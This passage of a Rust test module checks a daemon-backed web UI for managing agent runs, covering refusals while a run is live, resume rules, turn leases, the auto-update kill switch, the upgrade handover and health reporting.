13996 }
13997
13998 #[tokio::test]
13999 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14000 let fx = Fixture::start().await;
14001 let runs = fx.runs();
14002 let id = "20260901-000000-live";
14003 write_run(&runs, id, RunStatus::Implementing);
14004
14005 let mut beat = crate::daemon::Status::new();
14006 beat.current = vec![crate::daemon::Current {
14007 task: "20260901-000000-task".to_owned(),
14008 run: id.to_owned(),
14009 }];
14010 beat.updated_at = jiff::Timestamp::now();
14011 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14012 .expect("publish a heartbeat");
14013
14014 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14015 assert_eq!(res.status, 409);
14016 assert!(
14017 res.json()["error"]
14018 .as_str()
14019 .unwrap()
14020 .contains("live daemon"),
14021 "folding under a running agent would pull its worktree away"
14022 );
14023 }
14024
14025 #[tokio::test]
14026 async fn fold_merged_requires_a_pr_url() {
14027 let fx = Fixture::start().await;
14028 let runs = fx.runs();
14029 let id = "20260901-000000-nourl";
14030 write_run(&runs, id, RunStatus::Blocked);
14031
14032 let res = fx
14033 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14034 .await;
14035 assert_eq!(res.status, 400, "{}", res.body);
14036
14037 let blank = fx
14038 .post(
14039 &format!("/api/runs/{id}/fold-merged"),
14040 Some(r#"{"pr_url":" "}"#),
14041 )
14042 .await;
14043 assert_eq!(blank.status, 400, "{}", blank.body);
14044 }
14045
14046 #[tokio::test]
14047 async fn fold_merged_is_404_for_an_unknown_run() {
14048 let fx = Fixture::start().await;
14049 let res = fx
14050 .post(
14051 "/api/runs/nosuchrun/fold-merged",
14052 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14053 )
14054 .await;
14055 assert_eq!(res.status, 404, "{}", res.body);
14056 }
14057
14058 #[tokio::test]
14059 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14060 let fx = Fixture::start().await;
14061 let runs = fx.runs();
14062 let id = "20260901-000000-livemerge";
14063 write_run(&runs, id, RunStatus::Blocked);
14064
14065 let mut beat = crate::daemon::Status::new();
14066 beat.current = vec![crate::daemon::Current {
14067 task: "20260901-000000-task".to_owned(),
14068 run: id.to_owned(),
14069 }];
14070 beat.updated_at = jiff::Timestamp::now();
14071 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14072 .expect("publish a heartbeat");
14073
14074 let res = fx
14075 .post(
14076 &format!("/api/runs/{id}/fold-merged"),
14077 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14078 )
14079 .await;
14080 assert_eq!(res.status, 409, "{}", res.body);
14081 assert!(
14082 res.json()["error"]
14083 .as_str()
14084 .unwrap()
14085 .contains("live daemon"),
14086 "correcting a run's merge underneath a running agent would race \
14087 whatever it is doing to the same `status`/`merge` fields"
14088 );
14089 }
14090
14091 #[tokio::test]
14096 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14097 let fx = Fixture::start().await;
14098 let runs = fx.runs();
14099 let id = "20260901-000000-unconfirmed";
14100 write_run(&runs, id, RunStatus::Blocked);
14101
14102 let res = fx
14103 .post(
14104 &format!("/api/runs/{id}/fold-merged"),
14105 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14106 )
14107 .await;
14108 assert_eq!(res.status, 400, "{}", res.body);
14109 assert_eq!(
14110 read_run(&runs, id).unwrap().status,
14111 RunStatus::Blocked,
14112 "a pull request that could not be confirmed merged must leave \
14113 the run exactly where it was"
14114 );
14115 }
14116
14117 #[tokio::test]
14118 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14119 let fx = Fixture::start().await;
14120 let runs = fx.runs();
14121
14122 for (status, word) in [
14128 (RunStatus::Merged, "merged"),
14129 (RunStatus::Ready, "ready"),
14130 (RunStatus::Failed, "failed"),
14131 ] {
14132 let id = format!("20260901-000000-{}", &word[..4]);
14133 write_run(&runs, &id, status);
14134 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14135 assert_eq!(res.status, 409, "{word} must not be resumable");
14136 let err = res.json()["error"].as_str().unwrap().to_owned();
14137 assert!(err.contains(word), "the refusal names the status: {err}");
14138 }
14139
14140 let mid = "20260901-000000-midf";
14145 write_run(&runs, mid, RunStatus::Reviewing);
14146 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14147 assert_eq!(res.status, 202, "an interrupted run is resumable");
14148 }
14149
14150 #[tokio::test]
14151 async fn resume_is_refused_while_the_loop_is_running() {
14152 let fx = Fixture::start().await;
14153 let runs = fx.runs();
14154 let stalled = "20260901-000000-stal";
14155 write_run(&runs, stalled, RunStatus::Stalled);
14156
14157 let mut beat = crate::daemon::Status::new();
14161 beat.current = vec![crate::daemon::Current {
14162 task: "20260901-000000-task".to_owned(),
14163 run: "20260901-000000-othr".to_owned(),
14164 }];
14165 beat.updated_at = jiff::Timestamp::now();
14166 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14167 .expect("publish a heartbeat");
14168
14169 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14170 assert_eq!(res.status, 409);
14171 let err = res.json()["error"].as_str().unwrap().to_owned();
14172 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14173 assert!(err.contains("stop it first"), "{err}");
14174 }
14175
14176 #[test]
14177 fn a_run_cannot_be_resumed_twice_at_once() {
14178 let home = TempDir::new().expect("temp home");
14179 let ui = Ui::new(
14180 Queue::at(home.path().join("queue")),
14181 Questions::at(home.path().join("questions")),
14182 Talks::at(home.path().join("talks")),
14183 home.path().join("runs"),
14184 home.path().to_path_buf(),
14185 PathBuf::from("/repo"),
14186 )
14187 .with_worktrees_root(home.path().join("wt"));
14188 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14189 let again = ui.begin_resume("20260901-000000-once");
14190 assert!(again.is_err(), "a second tap must not start a second graph");
14191 drop(first);
14192 assert!(
14193 ui.begin_resume("20260901-000000-once").is_ok(),
14194 "and the claim is released when the attempt ends"
14195 );
14196 }
14197
14198 #[test]
14199 fn talk_thinking_tracks_only_its_held_turn_claim() {
14200 let home = TempDir::new().expect("temp home");
14201 let ui = Ui::new(
14202 Queue::at(home.path().join("queue")),
14203 Questions::at(home.path().join("questions")),
14204 Talks::at(home.path().join("talks")),
14205 home.path().join("runs"),
14206 home.path().to_path_buf(),
14207 PathBuf::from("/repo"),
14208 )
14209 .with_worktrees_root(home.path().join("wt"));
14210 let id = "20260901-000000-once";
14211
14212 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14213 let turn = ui.begin_talk_turn(id).expect("claim turn");
14214 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14215 assert!(
14216 !ui.is_thinking("20260901-000000-other"),
14217 "one talk's turn does not make another talk busy"
14218 );
14219 drop(turn);
14220 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14221 }
14222
14223 #[test]
14224 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14225 let home = TempDir::new().expect("temp home");
14226 let talks = Talks::at(home.path().join("talks"));
14227 let ui = Ui::new(
14228 Queue::at(home.path().join("queue")),
14229 Questions::at(home.path().join("questions")),
14230 talks.clone(),
14231 home.path().join("runs"),
14232 home.path().to_path_buf(),
14233 PathBuf::from("/repo"),
14234 )
14235 .with_worktrees_root(home.path().join("wt"));
14236 let id = "20260901-000000-cross";
14237
14238 let other = Talks::at(home.path().join("talks"))
14239 .claim_turn(id)
14240 .expect("claim")
14241 .expect("the other process wins");
14242 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14243 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14244 assert!(
14245 matches!(
14246 ui.begin_talk_turn_unless_pending(id).expect("start"),
14247 TalkTurnStart::Foreign
14248 ),
14249 "a foreign holder is refused, not queued behind"
14250 );
14251 assert!(
14252 !ui.talk_turns.lock().unwrap().live.contains(id),
14253 "a refused claim leaves no in-process entry behind"
14254 );
14255 drop(other);
14256 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14257 assert!(talks.turn_held(id), "the web turn holds the lease");
14258 drop(turn);
14259 assert!(
14260 !talks.turn_held(id),
14261 "dropping the guard releases the lease"
14262 );
14263 }
14264
14265 #[test]
14266 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14267 let home = TempDir::new().expect("temp home");
14268 let talks = Talks::at(home.path().join("talks"));
14269 let ui = Ui::new(
14270 Queue::at(home.path().join("queue")),
14271 Questions::at(home.path().join("questions")),
14272 talks.clone(),
14273 home.path().join("runs"),
14274 home.path().to_path_buf(),
14275 PathBuf::from("/repo"),
14276 )
14277 .with_worktrees_root(home.path().join("wt"));
14278 let id = "20260901-000000-order";
14279 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14280 let slots = ui.talk_turns.lock().unwrap();
14282 let dropper = std::thread::spawn(move || drop(turn));
14283 let start = std::time::Instant::now();
14284 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14285 std::thread::sleep(Duration::from_millis(5));
14286 }
14287 assert!(!talks.turn_held(id), "the lease is released first");
14288 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14289 drop(slots);
14290 dropper.join().expect("join");
14291 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14292 }
14293
14294 #[tokio::test]
14295 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14296 let fx = Fixture::start().await;
14297 let mut beat = crate::daemon::Status::new();
14301 beat.pid = 4321;
14302 beat.updated_at = jiff::Timestamp::now();
14303 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14304 .expect("publish a heartbeat");
14305
14306 let res = fx.post("/api/upgrade", None).await;
14307 assert_eq!(res.status, 409);
14308 let err = res.json()["error"].as_str().unwrap().to_owned();
14309 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14310 assert!(err.contains("old one against the same queue"), "{err}");
14311 }
14312
14313 #[test]
14320 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14321 assert!(!should_spawn_recheck(&crate::config::Update {
14322 mode: UpdateMode::Off,
14323 interval: None,
14324 }));
14325
14326 unsafe {
14329 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14330 }
14331 let killed = should_spawn_recheck(&crate::config::Update {
14332 mode: UpdateMode::Notify,
14333 interval: None,
14334 });
14335 unsafe {
14336 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14337 }
14338 assert!(
14339 !killed,
14340 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14341 one-time startup check"
14342 );
14343
14344 assert!(should_spawn_recheck(&crate::config::Update {
14345 mode: UpdateMode::Notify,
14346 interval: None,
14347 }));
14348 }
14349
14350 #[test]
14356 fn recheck_poll_period_tracks_a_short_configured_interval() {
14357 let short = crate::config::Update {
14358 mode: UpdateMode::Notify,
14359 interval: Some("1m".to_owned()),
14360 };
14361 let period = recheck_poll_period(&short);
14362 assert!(
14363 period <= Duration::from_secs(30),
14364 "a one-minute interval must wake the task far sooner than the \
14365 default ceiling, or the deck would not notice within the \
14366 interval the operator configured: got {period:?}"
14367 );
14368
14369 let default = crate::config::Update {
14370 mode: UpdateMode::Notify,
14371 interval: None,
14372 };
14373 assert_eq!(
14374 recheck_poll_period(&default),
14375 UPDATE_RECHECK_POLL_MAX,
14376 "the default day-long interval should poll at the (capped) \
14377 ceiling rather than needlessly often"
14378 );
14379 }
14380
14381 #[test]
14389 fn recheck_skips_the_network_before_the_interval_elapses() {
14390 let dir = TempDir::new().expect("temp dir");
14391 let path = dir.path().join("state.json");
14392 let state = kaishin::UpdateCheckState {
14393 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14394 last_known_latest: None,
14395 last_known_url: None,
14396 };
14397 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14398
14399 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14400 assert!(
14401 !update_recheck_due(&checker, None),
14402 "a check made moments ago must not be repeated before the \
14403 configured interval elapses"
14404 );
14405 }
14406
14407 #[test]
14413 fn recheck_defers_to_an_upgrade_already_in_flight() {
14414 let dir = TempDir::new().expect("temp dir");
14415 let path = dir.path().join("state.json");
14416 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14417 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14418
14419 assert!(
14420 !update_recheck_due(&checker, Some(&progress)),
14421 "a recheck must not run while an upgrade this deck started is \
14422 still moving"
14423 );
14424 }
14425
14426 #[tokio::test]
14427 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14428 unsafe {
14440 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14441 }
14442 let fx = Fixture::start().await;
14443 let res = fx.post("/api/upgrade", None).await;
14444 unsafe {
14445 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14446 }
14447 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14448 let body = res.json();
14449 assert!(body["to"].is_null(), "there was no release to move to");
14450 assert!(body["parked"].is_null(), "and nothing was parked");
14451 assert!(
14452 body["detail"]
14453 .as_str()
14454 .unwrap()
14455 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14456 "{body:?}"
14457 );
14458 }
14459
14460 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14461 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14462 p.stage = stage;
14463 p
14464 }
14465
14466 #[test]
14467 fn busy_stages_match_the_ui_set() {
14468 use crate::updater::Stage;
14469 assert!(APP_JS.contains(
14470 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14471 ));
14472 for s in [
14473 Stage::Downloading,
14474 Stage::Replaced,
14475 Stage::Parking,
14476 Stage::Restarting,
14477 ] {
14478 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14479 }
14480 for s in [Stage::Done, Stage::Failed] {
14481 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14482 }
14483 assert!(upgrade_in_motion(None).is_none());
14484 }
14485
14486 #[tokio::test]
14487 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14488 use crate::updater::Stage;
14489 for stage in [
14490 Stage::Downloading,
14491 Stage::Replaced,
14492 Stage::Parking,
14493 Stage::Restarting,
14494 ] {
14495 let fx = Fixture::start().await;
14496 let seeded = seeded_progress(stage);
14497 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14498 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14499 .expect("read");
14500
14501 let res = fx.post("/api/upgrade", None).await;
14502 assert_eq!(res.status, 409, "{stage:?}");
14503 let err = res.json()["error"].as_str().unwrap().to_owned();
14504 assert!(err.contains("already in progress"), "{err}");
14505 assert!(err.contains(stage.as_str()), "{err}");
14506
14507 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14508 .expect("read");
14509 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14510 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14511 .unwrap_or_default();
14512 assert!(!log.contains("signalling HANDOVER"), "{log}");
14513 }
14514 }
14515
14516 #[tokio::test]
14517 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14518 use crate::updater::Stage;
14519 let repo = TempDir::new().expect("repo dir");
14520 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14521 .expect("write magi.toml");
14522 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14523 for stage in [Stage::Done, Stage::Failed] {
14524 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14525 let res = fx.post("/api/upgrade", None).await;
14526 assert_eq!(res.status, 200, "{stage:?}");
14527 }
14528 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14530 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14531 }
14532
14533 #[tokio::test]
14534 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14535 let repo = TempDir::new().expect("repo dir");
14551 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14552 .expect("write magi.toml");
14553 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14554
14555 let res = fx.post("/api/upgrade", None).await;
14561 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14562 let body = res.json();
14563 assert!(body["to"].is_null(), "there was no release to move to");
14564 assert!(body["parked"].is_null(), "and nothing was parked");
14565 assert!(
14566 body["detail"]
14567 .as_str()
14568 .unwrap()
14569 .contains("nothing restarted"),
14570 "{body:?}"
14571 );
14572 }
14573
14574 #[tokio::test]
14575 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14576 let repo = TempDir::new().expect("repo dir");
14581 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14582 .expect("write magi.toml");
14583 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14584
14585 let health = fx.get("/api/health").await.json();
14586 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14587 assert_eq!(
14588 health["update"]["available"], false,
14589 "checking is off, which reads as \"unknown\", not \"none\""
14590 );
14591 assert!(health["update"]["to"].is_null());
14592 assert!(
14593 health["upgrade"].is_null(),
14594 "nothing has ever asked this deck to upgrade"
14595 );
14596 }
14597
14598 #[tokio::test]
14599 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14600 let fx = Fixture::start().await;
14601 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14602
14603 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14604 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14605 progress.advance(crate::updater::Stage::Parking);
14606 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14607
14608 let health = fx.get("/api/health").await.json();
14609 assert_eq!(health["upgrade"]["stage"], "parking");
14610 assert_eq!(health["upgrade"]["from"], "0.5.1");
14611 assert_eq!(health["upgrade"]["to"], "0.5.2");
14612 let waiting_on = health["upgrade"]["waiting_on"]
14613 .as_str()
14614 .expect("waiting_on is set while parking a known run");
14615 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14616 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14617 }
14618
14619 #[tokio::test]
14620 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14621 let fx = Fixture::start().await;
14622 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14623 progress.advance(crate::updater::Stage::Done);
14624 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14625
14626 let health = fx.get("/api/health").await.json();
14627 assert_eq!(health["upgrade"]["stage"], "done");
14628 assert!(
14629 health["upgrade"]["waiting_on"].is_null(),
14630 "nothing to wait on once it is done"
14631 );
14632 }
14633
14634 #[tokio::test]
14635 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14636 let home = TempDir::new().expect("temp home");
14637 let runs = home.path().join("runs");
14638 std::fs::create_dir_all(&runs).expect("runs dir");
14639 let ui = Ui::new(
14640 Queue::at(home.path().join("queue")),
14641 Questions::at(home.path().join("questions")),
14642 Talks::at(home.path().join("talks")),
14643 runs,
14644 home.path().to_path_buf(),
14645 PathBuf::from("/repo/magi"),
14646 )
14647 .with_launch(launch_idle);
14648 let looping = ui.looping();
14649 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14650 .await
14651 .expect("bind loopback");
14652 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14653
14654 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14655 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14656
14657 hand_over(home.path(), &looping, served, |_| Ok(1))
14658 .await
14659 .expect("hand over");
14660
14661 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14662 assert_eq!(
14663 after.stage,
14664 crate::updater::Stage::Restarting,
14665 "hand_over owns the record through parking and up to restarting; \
14666 the successor is what finishes it"
14667 );
14668 }
14669
14670 #[tokio::test]
14673 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14674 for fail in [false, true] {
14675 let home = TempDir::new().expect("temp home");
14676 let ui = idle_ui(&home);
14677 let looping = ui.looping();
14678 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14679 .await
14680 .expect("bind loopback");
14681 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14682 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14683 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14684
14685 let calls = std::sync::atomic::AtomicUsize::new(0);
14686 let outcome = hand_over(home.path(), &looping, served, |_| {
14687 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14688 if fail {
14689 anyhow::bail!("no exec")
14690 } else {
14691 Ok(4242)
14692 }
14693 })
14694 .await;
14695 assert_eq!(outcome.is_err(), fail);
14696 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14697
14698 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14699 .expect("upgrade.log is written under the home");
14700 for step in [
14701 "entered",
14702 "finish_loop",
14703 "listener released",
14704 "starting the successor",
14705 ] {
14706 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14707 }
14708 assert!(
14709 log.contains(if fail { "did not start" } else { "pid 4242" }),
14710 "{log}"
14711 );
14712 }
14713 }
14714
14715 #[tokio::test]
14718 async fn the_handover_signal_wakes_one_waiter_once() {
14719 let signal = Notify::new();
14720 signal.notify_one();
14722 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14723 .await
14724 .expect("an early signal is still seen");
14725 assert!(
14727 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14728 .await
14729 .is_err(),
14730 "a consumed signal must not wake a second time"
14731 );
14732 let signal = std::sync::Arc::new(signal);
14734 let waiter = tokio::spawn({
14735 let signal = std::sync::Arc::clone(&signal);
14736 async move { wait_for_handover(&signal).await }
14737 });
14738 tokio::time::sleep(Duration::from_millis(20)).await;
14739 assert!(!waiter.is_finished(), "nothing was signalled yet");
14740 signal.notify_one();
14741 tokio::time::timeout(Duration::from_secs(5), waiter)
14742 .await
14743 .expect("a late signal wakes the waiter")
14744 .expect("join");
14745 }
14746
14747 #[tokio::test]
14748 async fn health_says_how_long_a_handover_has_been_stuck() {
14749 let fx = Fixture::start().await;
14750 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14751 progress.advance(crate::updater::Stage::Replaced);
14752 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14753 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14754
14755 let health = fx.get("/api/health").await.json();
14756 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14757 assert!(stuck >= 600, "{stuck}");
14758 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14759 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14760 }
14761
14762 #[tokio::test]
14763 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14764 let home = tempfile::tempdir().expect("temp home");
14765 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14766 progress.advance(crate::updater::Stage::Parking);
14767 crate::updater::write_progress(home.path(), &progress).expect("seed");
14768 let mut again = progress.clone();
14770 again.advance(crate::updater::Stage::Replaced);
14771 crate::updater::write_progress(home.path(), &again).expect("replaced");
14772 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14773 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14774 let after = crate::updater::read_progress(home.path()).expect("record");
14775 assert_eq!(after.stage, crate::updater::Stage::Parking);
14776 }
14777
14778 #[tokio::test]
14779 async fn health_does_not_call_a_live_parking_wait_stuck() {
14780 let fx = Fixture::start().await;
14781 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14782 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14783 progress.advance(crate::updater::Stage::Parking);
14784 let hours = Duration::from_secs(3 * 3600);
14785 progress.started_at = Timestamp::now() - hours;
14786 progress.updated_at = Timestamp::now() - hours;
14787 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14788 let _lease = crate::updater::LeaseGuard::enter(
14789 fx.home.path(),
14790 Some("20260905-000000-cd51".to_owned()),
14791 );
14792
14793 let health = fx.get("/api/health").await.json();
14794 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14795 assert!(health["upgrade"]["stuck_kind"].is_null());
14796 assert_eq!(health["upgrade"]["handover_alive"], true);
14797 let waiting_on = health["upgrade"]["waiting_on"]
14798 .as_str()
14799 .expect("waiting_on");
14800 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14801 }
14802
14803 fn idle_ui(home: &TempDir) -> Ui {
14804 let runs = home.path().join("runs");
14805 std::fs::create_dir_all(&runs).expect("runs dir");
14806 Ui::new(
14807 Queue::at(home.path().join("queue")),
14808 Questions::at(home.path().join("questions")),
14809 Talks::at(home.path().join("talks")),
14810 runs,
14811 home.path().to_path_buf(),
14812 PathBuf::from("/repo/magi"),
14813 )
14814 .with_launch(launch_idle)
14815 }
14816
14817 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14819 let looping = ui.looping();
14820 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14821 .await
14822 .expect("bind loopback");
14823 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14824 let told = std::sync::Mutex::new(None);
14825 hand_over(home.path(), &looping, served, |resume| {
14826 *told.lock().unwrap() = Some(resume);
14827 Ok(1)
14828 })
14829 .await
14830 .expect("hand over");
14831 told.into_inner().unwrap().expect("successor was started")
14832 }
14833
14834 #[tokio::test]
14835 async fn a_running_loop_is_resumed_by_the_successor() {
14836 let home = TempDir::new().expect("temp home");
14837 let ui = idle_ui(&home);
14838 ui.start_loop(None).expect("start");
14839 ui.park_for_upgrade().expect("park");
14840 for _ in 0..500 {
14842 if !ui.loop_view(None).running {
14843 break;
14844 }
14845 tokio::time::sleep(Duration::from_millis(2)).await;
14846 }
14847 assert!(handed_over(&home, ui).await, "a running loop must resume");
14848
14849 let successor = idle_ui(&home);
14850 assert!(!successor.loop_view(None).running);
14851 assert!(successor.resume_after_handover(true));
14852 assert!(successor.loop_view(None).running);
14853 successor.stop_loop(None, false).expect("stop");
14854 }
14855
14856 #[tokio::test]
14857 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14858 let home = TempDir::new().expect("temp home");
14859 let ui = idle_ui(&home);
14860 ui.start_loop(None).expect("start");
14861 ui.park_for_upgrade().expect("first park");
14862 ui.park_for_upgrade().expect("second park");
14863 assert!(handed_over(&home, ui).await);
14864 }
14865
14866 #[tokio::test]
14867 async fn a_stop_during_the_handover_wait_is_honoured() {
14868 let home = TempDir::new().expect("temp home");
14869 let ui = idle_ui(&home);
14870 ui.start_loop(None).expect("start");
14871 ui.park_for_upgrade().expect("park");
14872 ui.stop_loop(None, false).expect("stop");
14873 assert!(!handed_over(&home, ui).await);
14874 }
14875
14876 #[tokio::test]
14877 async fn an_idle_loop_stays_stopped_across_the_handover() {
14878 let home = TempDir::new().expect("temp home");
14879 let ui = idle_ui(&home);
14880 ui.park_for_upgrade().expect("park");
14881 assert!(!handed_over(&home, ui).await);
14882
14883 let successor = idle_ui(&home);
14884 assert!(!successor.resume_after_handover(false));
14885 assert!(!successor.loop_view(None).running);
14886 }
14887
14888 #[tokio::test]
14889 async fn a_loop_the_operator_stopped_is_not_resumed() {
14890 let home = TempDir::new().expect("temp home");
14891 let ui = idle_ui(&home);
14892 ui.start_loop(None).expect("start");
14893 ui.stop_loop(None, false).expect("stop");
14894 ui.park_for_upgrade().expect("park");
14895 assert!(!handed_over(&home, ui).await);
14896 }
14897
14898 #[test]
14899 fn only_an_explicit_one_requests_a_resume() {
14900 assert!(!resume_requested(None));
14901 assert!(!resume_requested(Some("0".into())));
14902 assert!(!resume_requested(Some("".into())));
14903 assert!(resume_requested(Some("1".into())));
14904 }
14905
14906 #[test]
14907 fn the_upgrade_button_arms_before_it_restarts_anything() {
14908 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14911 assert!(APP_JS.contains("Replace the binary and restart?"));
14912 assert!(APP_JS.contains("function confirmed("));
14913 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14918 assert!(
14922 APP_JS.contains("Parking, then restarting"),
14923 "the button says what it is waiting for"
14924 );
14925 assert!(APP_JS.contains("if (!out.to)"));
14928 }
14929
14930 #[test]
14931 fn stopping_the_loop_arms_but_starting_does_not() {
14932 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14935 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14936 assert!(APP_JS.contains("confirmed(button, question)"));
14937 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14940 assert!(APP_JS.contains("const label = btn.textContent;"));
14941 assert!(!APP_JS.contains("Neither direction is guarded"));
14942 }
14943
14944 #[test]
14945 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14946 assert!(
14947 APP_JS.contains("state.health.version"),
14948 "the operator wants to know what is running even with nothing newer"
14949 );
14950 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14951 }
14952
14953 #[test]
